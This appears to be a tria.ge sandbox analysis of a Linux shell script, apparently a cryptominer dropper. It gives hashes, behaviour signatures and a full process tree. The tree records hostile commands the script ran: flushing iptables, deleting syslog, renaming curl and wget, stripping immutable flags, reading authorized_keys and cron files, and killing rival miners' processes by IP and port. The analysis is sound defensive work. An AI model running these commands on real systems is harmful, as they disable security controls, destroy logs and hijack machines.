Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
31s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
23/01/2025, 06:41
Static task
static1
Behavioral task
behavioral1
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
-
Size
37KB
-
MD5
d6648f420423f9dad4292a606f743c4b
-
SHA1
dcae47ec15e96274a39fcce4352077846ebf7b70
-
SHA256
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910
-
SHA512
3820b4fb435732fef05157ff0713ed3a62269dc1c21240dbf7e2e59191a0f34050247573b4d9758cd84495fb28d8f346e381b8f09a9041c70ca88333b1303f93
-
SSDEEP
384:Q7pQQwQHDf6lpTWg3vM4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdUeUoJpJydIi:Q7xFNB48Fkc2zq0xvMGdl18r
Malware Config
Signatures
-
Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 747 iptables -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 1659 xargs 1671 xargs 1731 xargs 870 xargs 1099 xargs 1440 xargs 1550 xargs 745 chattr 1619 xargs 1727 xargs 1977 Process not Found 1643 xargs 1990 Process not Found 849 xargs 906 xargs 1283 xargs 1599 xargs 777 xargs 1570 xargs 759 grep 1263 xargs 1560 xargs 2047 Process not Found 1446 xargs 1971 Process not Found 2055 Process not Found 2007 Process not Found 962 xargs 1009 xargs 1166 xargs 1986 Process not Found 1193 xargs 1983 Process not Found 1725 xargs 2087 Process not Found 2120 Process not Found 901 xargs 1203 xargs 1297 xargs 1647 xargs 1661 xargs 1729 xargs 1969 Process not Found 1276 xargs 1972 Process not Found 1398 xargs 2039 Process not Found 1243 xargs 1665 xargs 1476 xargs 1703 xargs 1975 Process not Found 1715 xargs 1964 Process not Found 1016 xargs 1036 xargs 1617 xargs 1635 xargs 1707 xargs 1908 Process not Found 1988 Process not Found 2107 Process not Found 825 xargs 885 xargs -
Disables AppArmor 28 IoCs
Disables AppArmor security module.
pid Process 2096 Process not Found 2096 Process not Found 2076 Process not Found 2103 Process not Found 2107 Process not Found 2108 Process not Found 2109 Process not Found 2096 Process not Found 2115 Process not Found 2106 Process not Found 2114 Process not Found 2110 Process not Found 2096 Process not Found 2076 Process not Found 2076 Process not Found 2104 Process not Found 2096 Process not Found 2076 Process not Found 2095 Process not Found 2101 Process not Found 2076 Process not Found 2111 Process not Found 2113 Process not Found 2096 Process not Found 2099 Process not Found 2105 Process not Found 2112 Process not Found 2076 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Enumerates kernel/hardware configuration 1 TTPs 32 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
Process Discovery 1 TTPs 64 IoCs
Adversaries may try to discover information about running processes.
pid Process 991 ps 1151 ps 1386 ps 1516 ps 986 ps 1100 ps 1204 ps 1229 ps 1346 ps 1393 ps 1292 ps 1418 ps 1424 ps 871 ps 998 ps 1194 ps 1286 ps 1126 ps 1271 ps 1320 ps 1327 ps 2116 Process not Found 927 ps 1082 ps 1117 ps 1254 ps 1526 ps 939 ps 1106 ps 1366 ps 1471 ps 1453 ps 1131 ps 1141 ps 1167 ps 1359 ps 1244 ps 1313 ps 1379 ps 1511 ps 1053 ps 1333 ps 1372 ps 1489 ps 876 ps 907 ps 933 ps 1012 ps 1039 ps 1501 ps 1506 ps 1219 ps 1266 ps 1441 ps 1483 ps 897 ps 946 ps 972 ps 1112 ps 1121 ps 1146 ps 1189 ps 1339 ps 1279 ps -
description ioc Process File opened for reading /proc/4/status ps File opened for reading /proc/69/status ps File opened for reading /proc/69/status ps File opened for reading /proc/118/cmdline pkill File opened for reading /proc/78/cmdline pkill File opened for reading /proc/673/status pkill File opened for reading /proc/119/cmdline pkill File opened for reading /proc/675/status pkill File opened for reading /proc/1/cmdline pkill File opened for reading /proc/36/status pkill File opened for reading /proc/68/cmdline ps File opened for reading /proc/315/status ps File opened for reading /proc/9/cmdline ps File opened for reading /proc/382/status pgrep File opened for reading /proc/21/status pgrep File opened for reading /proc/82/status ps File opened for reading /proc/3/cmdline ps File opened for reading /proc/18/cmdline pgrep File opened for reading /proc/701/status pgrep File opened for reading /proc/372/stat ps File opened for reading /proc/75/cmdline ps File opened for reading /proc/1066/cmdline ps File opened for reading /proc/433/stat ps File opened for reading /proc/348/cmdline pgrep File opened for reading /proc/13/status ps File opened for reading /proc/1122/status ps File opened for reading /proc/21/status pkill File opened for reading /proc/16/stat ps File opened for reading /proc/433/status pkill File opened for reading /proc/73/cmdline pkill File opened for reading /proc/22/status ps File opened for reading /proc/702/cmdline ps File opened for reading /proc/315/cmdline ps File opened for reading /proc/1501/status ps File opened for reading /proc/315/status pgrep File opened for reading /proc/675/cmdline pkill File opened for reading /proc/82/status pkill File opened for reading /proc/75/status pkill File opened for reading /proc/670/stat ps File opened for reading /proc/382/stat ps File opened for reading /proc/110/status ps File opened for reading /proc/8/cmdline ps File opened for reading /proc/19/status pgrep File opened for reading /proc/76/stat ps File opened for reading /proc/230/cmdline ps File opened for reading /proc/379/stat ps File opened for reading /proc/322/status pgrep File opened for reading /proc/meminfo ps File opened for reading /proc/665/stat ps File opened for reading /proc/11/status pgrep File opened for reading /proc/708/status ps File opened for reading /proc/37/status ps File opened for reading /proc/4/stat ps File opened for reading /proc/36/stat ps File opened for reading /proc/2/status ps File opened for reading /proc/5/status pgrep File opened for reading /proc/2119/cmdline Process not Found File opened for reading /proc/110/status pgrep File opened for reading /proc/36/cmdline ps File opened for reading /proc/1/status ps File opened for reading /proc/self/stat ps File opened for reading /proc/37/status pgrep File opened for reading /proc/13/status pgrep File opened for reading /proc/23/status ps -
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1077 grep 1114 grep 1348 grep 1870 Process not Found -
Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/redis2 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/newsvc.sh 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcupdate 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcguard 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcworkmanager 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcupdates 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/dev/null 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/kdevtmpfsi 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Processes
-
/tmp/196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh/tmp/196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh1⤵
- Writes file to tmp directory
PID:703 -
/usr/bin/curlcurl http://ip-api.com/json/2⤵PID:704
-
-
/bin/sedsed "s/,/\\n/g"2⤵PID:705
-
-
/bin/grepgrep -i CN2⤵PID:706
-
-
/bin/syncsync2⤵PID:730
-
-
/bin/catcat /var/spool/cron/2⤵PID:734
-
-
/bin/catcat /root/.ssh/authorized_keys2⤵PID:737
-
-
/bin/mvmv /usr/bin/curl /usr/bin/url2⤵PID:739
-
-
/bin/mvmv /usr/bin/url /usr/bin/cd12⤵PID:740
-
-
/bin/mvmv /usr/bin/wget /usr/bin/get2⤵PID:741
-
-
/bin/mvmv /usr/bin/get /usr/bin/wd12⤵PID:742
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:744
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Attempts to change immutable files
PID:745
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:746
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:747
-
-
/usr/sbin/userdeluserdel akay2⤵PID:750
-
-
/usr/sbin/userdeluserdel vfinder2⤵PID:752
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:753
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:754
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:755
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:756
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:757
-
-
/bin/psps aux2⤵PID:758
-
-
/bin/grepgrep -i "[y]unjing"2⤵
- Attempts to change immutable files
PID:759
-
-
/bin/rmrm -f /tmp/.null2⤵PID:760
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵PID:761
-
-
/bin/grepgrep 185.71.65.2382⤵PID:763
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:765
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:764
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:766
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:769
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:771
-
-
/bin/grepgrep 140.82.52.872⤵PID:768
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:770
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:777
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:775
-
-
/bin/grepgrep -v -2⤵PID:776
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:774
-
-
/bin/grepgrep :4432⤵PID:773
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:783
-
-
/bin/grepgrep -v -2⤵PID:782
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:781
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:780
-
-
/bin/grepgrep :232⤵PID:779
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:789
-
-
/bin/grepgrep -v -2⤵PID:788
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:787
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:786
-
-
/bin/grepgrep :4432⤵PID:785
-
-
/bin/grepgrep -v -2⤵PID:794
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:793
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:792
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:795
-
-
/bin/grepgrep :1432⤵PID:791
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:801
-
-
/bin/grepgrep -v -2⤵PID:800
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:799
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:798
-
-
/bin/grepgrep :22222⤵PID:797
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:807
-
-
/bin/grepgrep -v -2⤵PID:806
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:805
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:804
-
-
/bin/grepgrep :33332⤵PID:803
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:813
-
-
/bin/grepgrep -v -2⤵PID:812
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:811
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:810
-
-
/bin/grepgrep :33892⤵PID:809
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:819
-
-
/bin/grepgrep -v -2⤵PID:818
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:817
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:816
-
-
/bin/grepgrep :55552⤵PID:815
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:825
-
-
/bin/grepgrep -v -2⤵PID:824
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:823
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:822
-
-
/bin/grepgrep :66662⤵PID:821
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:831
-
-
/bin/grepgrep -v -2⤵PID:830
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:829
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:828
-
-
/bin/grepgrep :66652⤵PID:827
-
-
/bin/grepgrep -v -2⤵PID:836
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:837
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:835
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:834
-
-
/bin/grepgrep :66672⤵PID:833
-
-
/bin/grepgrep -v -2⤵PID:842
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:841
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:843
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:840
-
-
/bin/grepgrep :77772⤵PID:839
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:849
-
-
/bin/grepgrep -v -2⤵PID:848
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:847
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:846
-
-
/bin/grepgrep :84442⤵PID:845
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:855
-
-
/bin/grepgrep -v -2⤵PID:854
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:853
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:852
-
-
/bin/grepgrep :33472⤵PID:851
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:860
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:859
-
-
/bin/grepgrep :33332⤵PID:858
-
-
/bin/grepgrep -v grep2⤵PID:857
-
-
/bin/psps aux2⤵PID:856
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:865
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:864
-
-
/bin/grepgrep :55552⤵PID:863
-
-
/bin/grepgrep -v grep2⤵PID:862
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:861
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:870
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:869
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:868
-
-
/bin/grepgrep -v grep2⤵PID:867
-
-
/bin/psps aux2⤵PID:866
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:875
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:874
-
-
/bin/grepgrep log_2⤵PID:873
-
-
/bin/grepgrep -v grep2⤵PID:872
-
-
/bin/psps aux2⤵
- Process Discovery
PID:871
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:880
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:879
-
-
/bin/grepgrep systemten2⤵PID:878
-
-
/bin/grepgrep -v grep2⤵PID:877
-
-
/bin/psps aux2⤵
- Process Discovery
PID:876
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:885 -
/usr/local/sbin/killkill -9 103⤵PID:886
-
-
/usr/local/bin/killkill -9 103⤵PID:886
-
-
/usr/sbin/killkill -9 103⤵PID:886
-
-
/usr/bin/killkill -9 103⤵PID:886
-
-
/sbin/killkill -9 103⤵PID:886
-
-
/bin/killkill -9 103⤵PID:886
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:884
-
-
/bin/grepgrep netns2⤵PID:883
-
-
/bin/grepgrep -v grep2⤵PID:882
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:881
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:891
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:890
-
-
/bin/grepgrep -v grep2⤵PID:888
-
-
/bin/grepgrep voltuned2⤵PID:889
-
-
/bin/psps aux2⤵PID:887
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:896
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:895
-
-
/bin/grepgrep darwin2⤵PID:894
-
-
/bin/grepgrep -v grep2⤵PID:893
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:892
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:901
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:900
-
-
/bin/grepgrep /tmp/dl2⤵PID:899
-
-
/bin/grepgrep -v grep2⤵PID:898
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:897
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:906
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:905
-
-
/bin/grepgrep /tmp/ddg2⤵PID:904
-
-
/bin/grepgrep -v grep2⤵PID:903
-
-
/bin/psps aux2⤵PID:902
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:911
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:910
-
-
/bin/grepgrep /tmp/pprt2⤵PID:909
-
-
/bin/grepgrep -v grep2⤵PID:908
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:907
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:916
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:915
-
-
/bin/grepgrep /tmp/ppol2⤵PID:914
-
-
/bin/grepgrep -v grep2⤵PID:913
-
-
/bin/psps aux2⤵PID:912
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:921
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:920
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:919
-
-
/bin/grepgrep -v grep2⤵PID:918
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:917
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:925
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:924
-
-
/bin/grepgrep -v grep2⤵PID:923
-
-
/bin/psps aux2⤵PID:922
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:926
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:931
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:930
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:929
-
-
/bin/grepgrep -v grep2⤵PID:928
-
-
/bin/psps aux2⤵
- Process Discovery
PID:927
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:937
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:936
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:935
-
-
/bin/grepgrep -v grep2⤵PID:934
-
-
/bin/psps aux2⤵
- Process Discovery
PID:933
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:943
-
-
/bin/grepgrep 45.76.122.922⤵PID:941
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:942
-
-
/bin/grepgrep -v grep2⤵PID:940
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:939
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:950
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:949
-
-
/bin/grepgrep 51.38.191.1782⤵PID:948
-
-
/bin/grepgrep -v grep2⤵PID:947
-
-
/bin/psps aux2⤵
- Process Discovery
PID:946
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:955
-
-
/bin/grepgrep 51.15.56.1612⤵PID:954
-
-
/bin/grepgrep -v grep2⤵PID:953
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:952
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:956
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:962
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:961
-
-
/bin/grepgrep 86s.jpg2⤵PID:960
-
-
/bin/grepgrep -v grep2⤵PID:959
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:958
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:969
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:968
-
-
/bin/grepgrep aGTSGJJp2⤵PID:967
-
-
/bin/grepgrep -v grep2⤵PID:966
-
-
/bin/psps aux2⤵PID:965
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:976
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:975
-
-
/bin/grepgrep nMrfmnRa2⤵PID:974
-
-
/bin/grepgrep -v grep2⤵PID:973
-
-
/bin/psps aux2⤵
- Process Discovery
PID:972
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:983
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:982
-
-
/bin/grepgrep PuNY5tm22⤵PID:981
-
-
/bin/grepgrep -v grep2⤵PID:980
-
-
/bin/psps aux2⤵PID:979
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:990
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:989
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:988
-
-
/bin/grepgrep -v grep2⤵PID:987
-
-
/bin/psps aux2⤵
- Process Discovery
PID:986
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:995
-
-
/bin/grepgrep AgdgACUD2⤵PID:993
-
-
/bin/grepgrep -v grep2⤵PID:992
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:991
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:994
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1002
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1001
-
-
/bin/grepgrep uiZvwxG82⤵PID:1000
-
-
/bin/grepgrep -v grep2⤵PID:999
-
-
/bin/psps aux2⤵
- Process Discovery
PID:998
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1009
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1008
-
-
/bin/grepgrep hahwNEdB2⤵PID:1007
-
-
/bin/grepgrep -v grep2⤵PID:1006
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1005
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1015
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1016
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1012
-
-
/bin/grepgrep -v grep2⤵PID:1013
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1014
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1023
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1022
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1021
-
-
/bin/grepgrep -v grep2⤵PID:1020
-
-
/bin/psps aux2⤵PID:1019
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1030
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1029
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1028
-
-
/bin/grepgrep -v grep2⤵PID:1027
-
-
/bin/psps aux2⤵PID:1026
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1036
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1035
-
-
/bin/grepgrep svc2⤵PID:1034
-
-
/bin/grepgrep -v grep2⤵PID:1033
-
-
/bin/psps aux2⤵PID:1032
-
-
